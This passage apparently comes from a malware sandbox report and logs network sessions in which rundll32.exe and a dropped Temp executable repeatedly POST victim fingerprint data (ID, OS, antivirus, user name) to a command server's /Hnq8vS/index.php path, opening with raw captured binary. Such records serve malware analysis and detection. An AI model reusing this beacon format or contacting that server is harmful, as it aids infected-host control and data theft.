f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:22:44.665194035 CEST	1922	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:22:44.665283918 CEST	1932	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:22:44.665321112 CEST	1945	OUT	Data Raw: ee ab cd 1f a5 57 9a 3f ee 56 52 89 ac 64 41 4c 93 e6 3c d4 be 5f bd 37 cb f9 eb 29 44 d6 32 19 e5 9f ee d3 76 0f 7a 9f 61 a6 79 5e c6 97 2b 2b 98 81 ed f1 50 49 6f 57 7c bf 7a 3c bf 7a c6 51 2e 35 2c 65 fd 9b da 9b 5a 52 43 50 49 6f fe cd 4f b3 Data Ascii: W?VRdAL<_7)D2vzay^++PIoW\|z<zQ.5,eZRCPIoO7B+SoQs&:#/fc<zO+U!gZ9_Ll#q/4/Z`Li+D5R$~%;Y0g??bP5q0Ti#17<z](s
Apr 28, 2021 23:22:44.760890007 CEST	1951	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic
Apr 28, 2021 23:22:44.760934114 CEST	1962	OUT	Data Raw: 3e ed 2c 71 fb d5 c6 24 73 09 e5 a7 f7 69 63 8d 37 7d da 73 f5 a5 55 db 4c cf 99 8b 45 14 56 84 8a 9f 7a a6 4f bb 51 c6 b5 2d 69 ef 91 20 a7 a7 4a 6a 7d ea 92 2f e9 5a 40 c8 92 3e a2 a4 4f bd 4c 8f bd 4a 9f 76 b7 89 8c 85 d9 fe cf e9 45 39 57 b9 Data Ascii: >,q$sic7}sULEVzOQ-i Jj}/Z@>OLJvE9WSZe=>-=cj)Hj}1?>2$-H$qjhR`65)8%qO>njLe!:}d}Og]12zvM/#VD:9=ijZNYHs0M"tj^IJ
Apr 28, 2021 23:22:44.761053085 CEST	1967	OUT	Data Raw: 96 b9 5f f8 24 3e 9b 61 aa fc 58 f8 9b a7 5d 78 82 db 4d b7 7f 85 6f 9b fd 42 29 4c 71 81 af 68 c4 6e 58 52 47 e7 00 7c aa dc 91 9e 32 47 d5 d7 1e 2a fd 96 bc 51 fb 1e 5d 7f c1 22 3c 3d fb 46 78 7e ef 53 d3 7e 17 c3 ae 5a 78 fd 7c 67 01 d1 ae b5 Data Ascii: _$>aX]xMoB)LqhnXRG\|2G*Q]"<=Fx~S~Zx\|g7o(2x$?~'iWV+uH%cFUl3Tr^GF#$wwx4/fI$@?,{nT/t<9~,>,
Apr 28, 2021 23:22:44.761343002 CEST	1991	OUT	Data Raw: 87 fe b5 d0 fb 70 91 e1 fe 53 7f 72 a6 86 dd e4 ea 6b d9 64 f8 23 e1 cb 81 ba d3 50 74 ff 00 be 5a aa 49 f0 02 41 b9 ed b5 68 c8 ff 00 a6 91 d1 fd 95 5e 99 5f eb 2e 5d 2f b5 63 cb 45 a8 fe f9 ab 31 c0 3a d7 7b 71 f0 2f c4 90 fc f1 98 dc 56 7d d7 Data Ascii: pSrkd#PtZIAh^_.]/cE1:{q/V}Y?q9T5T@Y<YL?'"docR]&ImVcZ(_8q]Q!RzjZFjkjg,!ImVT},D`'rtW
Apr 28, 2021 23:22:44.761404037 CEST	1999	OUT	Data Raw: 79 35 46 68 37 76 4a 37 6e db 4f a4 61 ba 82 c9 69 a8 31 90 69 9b d7 d6 9e 87 39 26 aa 26 52 d8 b0 9d 69 b4 53 4e ff 00 ff 00 55 51 03 a9 e9 f7 6a 34 ff 00 59 52 d0 4c 87 7f 0f dc a0 7f b9 4b b6 49 3a d1 e5 7b 1a da 24 8b 53 47 de a0 55 db 53 c7 Data Ascii: y5Fh7vJ7nOai1i9&&RiSNUQj4YRLKI:{$SGUSCz>zS0qWt}xDLOS']1*tjx>XCv9owOPG&Vsns;m#I?~Ze(m-u4{wH SjD
Apr 28, 2021 23:22:44.856524944 CEST	2002	OUT	Data Raw: be ff 00 bf e2 a4 8f f6 a5 d2 59 bf e4 1b a8 ff 00 df d5 a9 fe d4 c0 7f 39 1f ea 5e 77 fc 9f d7 de 7b c7 fd f3 4f 8c bf fc f4 af 0b ff 00 86 a3 d1 f6 ff 00 c7 8e a1 ff 00 7f 56 96 3f da 97 46 fb ff 00 60 be ff 00 bf ab 4f fb 43 03 fc e6 5f ea 66 Data Ascii: Y9^w{OV?F`OC_fwzS^SqRGS\|i}fv?gxV?}}LoZ>cpvz5>y~ZeX.AL1R0q@?=G{k
Apr 28, 2021 23:22:44.856579065 CEST	2004	OUT	Data Raw: 76 f9 2b ad ff 00 85 61 75 fd ef d2 9e 3e 17 5d 1f e1 fd 6b 58 e5 98 cf e4 23 fb 4f 07 fc c7 23 fe ff 00 e3 45 76 3f f0 ac 27 fe f5 07 e1 75 d3 77 fd 6a ff 00 b3 31 7f c8 47 f6 ae 0b f9 8e 3a 9d 1f 7a ec 3f e1 55 dd ff 00 7e 97 fe 15 45 ff 00 ad Data Ascii: v+au>]kX#O#Ev?'uwj1G:z?U~EG^3s#J5Qb?w9z9N3LW8NSg7b#k`J}OwTw-k}Vqg,Mv"=OAud_8d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1380	192.168.2.5	50549	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1381	176.111.174.114	80	192.168.2.5	50549	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1382	192.168.2.5	50550	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1383	176.111.174.114	80	192.168.2.5	50550	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1384	192.168.2.5	50551	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1385	176.111.174.114	80	192.168.2.5	50551	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1386	192.168.2.5	50553	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1387	176.111.174.114	80	192.168.2.5	50553	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1388	192.168.2.5	50554	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1389	176.111.174.114	80	192.168.2.5	50554	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.5	49788	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:44.621699095 CEST	1919	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1390	192.168.2.5	50555	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1391	176.111.174.114	80	192.168.2.5	50555	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1392	192.168.2.5	50557	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1393	192.168.2.5	50556	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1394	176.111.174.114	80	192.168.2.5	50557	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1395	192.168.2.5	50558	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1396	176.111.174.114	80	192.168.2.5	50556	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1397	176.111.174.114	80	192.168.2.5	50558	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1398	192.168.2.5	50560	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1399	176.111.174.114	80	192.168.2.5	50560	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49718	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:24.106570005 CEST	1570	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	176.111.174.114	80	192.168.2.5	49788	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:44.723082066 CEST	1946	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:44 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1400	192.168.2.5	50561	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1401	176.111.174.114	80	192.168.2.5	50561	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1402	192.168.2.5	50562	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1403	176.111.174.114	80	192.168.2.5	50562	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1404	192.168.2.5	50564	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1405	176.111.174.114	80	192.168.2.5	50564	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1406	192.168.2.5	50565	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1407	176.111.174.114	80	192.168.2.5	50565	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1408	192.168.2.5	50566	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1409	176.111.174.114	80	192.168.2.5	50566	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.5	49789	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:44.942606926 CEST	2091	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1410	192.168.2.5	50567	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1411	176.111.174.114	80	192.168.2.5	50567	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1412	192.168.2.5	50568	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1413	192.168.2.5	50569	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1414	176.111.174.114	80	192.168.2.5	50569	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1415	176.111.174.114	80	192.168.2.5	50568	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1416	192.168.2.5	50570	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1417	176.111.174.114	80	192.168.2.5	50570	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1418	192.168.2.5	50572	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1419	176.111.174.114	80	192.168.2.5	50572	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	176.111.174.114	80	192.168.2.5	49787	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:44.956811905 CEST	2093	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:44 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1420	192.168.2.5	50573	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1421	176.111.174.114	80	192.168.2.5	50573	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1422	192.168.2.5	50574	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1423	176.111.174.114	80	192.168.2.5	50574	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1424	192.168.2.5	50576	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1425	176.111.174.114	80	192.168.2.5	50576	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1426	192.168.2.5	50577	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1427	176.111.174.114	80	192.168.2.5	50577	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1428	192.168.2.5	50578	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1429	176.111.174.114	80	192.168.2.5	50578	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	176.111.174.114	80	192.168.2.5	49789	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:45.044301033 CEST	2093	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:45 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1430	192.168.2.5	50579	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1431	176.111.174.114	80	192.168.2.5	50579	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1432	192.168.2.5	50580	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1433	192.168.2.5	50581	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1434	176.111.174.114	80	192.168.2.5	50581	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1435	176.111.174.114	80	192.168.2.5	50580	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1436	192.168.2.5	50582	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1437	176.111.174.114	80	192.168.2.5	50582	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1438	192.168.2.5	50584	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1439	176.111.174.114	80	192.168.2.5	50584	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.5	49790	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:45.287863016 CEST	2094	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1440	192.168.2.5	50585	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1441	176.111.174.114	80	192.168.2.5	50585	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

